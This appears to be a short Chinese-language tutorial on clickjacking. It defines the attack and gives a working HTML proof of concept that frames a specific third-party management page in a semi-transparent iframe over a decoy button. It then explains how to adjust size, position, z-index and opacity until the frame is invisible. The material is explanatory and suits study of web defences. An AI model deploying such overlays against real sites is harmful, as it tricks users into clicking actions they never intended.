什么是点击劫持：
是一种视觉上的欺骗，攻击者使用一个透明的，不可见的iframe标签，覆盖在一个网页上，诱使用户在该网页上进行操作，用户在不知情的情况下点击透明的iframe页面通过调整iframe页面的位置可以诱使用户恰好点击在iframe页面的的一些功能性按钮上
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>click jack</title> <style> iframe{ width:900px; height: 250px; top: -195px; left:-740px; z-index: 2; -moz-opacity:0.5; opacity: 0.5; filter:alpha(opacity=0.5); } button { position: absolute; top: 10px; left: 10px; width: 120px; z-index:1; } </style> </head> <body> <iframe src="http://search.esgcc.com.cn/managerGf/toGfIndexPage" scrolling="no"></iframe> <button>CLICK jack</button> </body> </html> 通过控制iframe的长宽，调整top，left的位置，可以把iframe页面内任意部分覆盖到任何地方。 同时设置iframe的position位absolute并将z-index的设置为最大已达到让iframe在页面最上层。 最后，通过设置opacity来控制iframe页面的透明度，值为0是完全不可见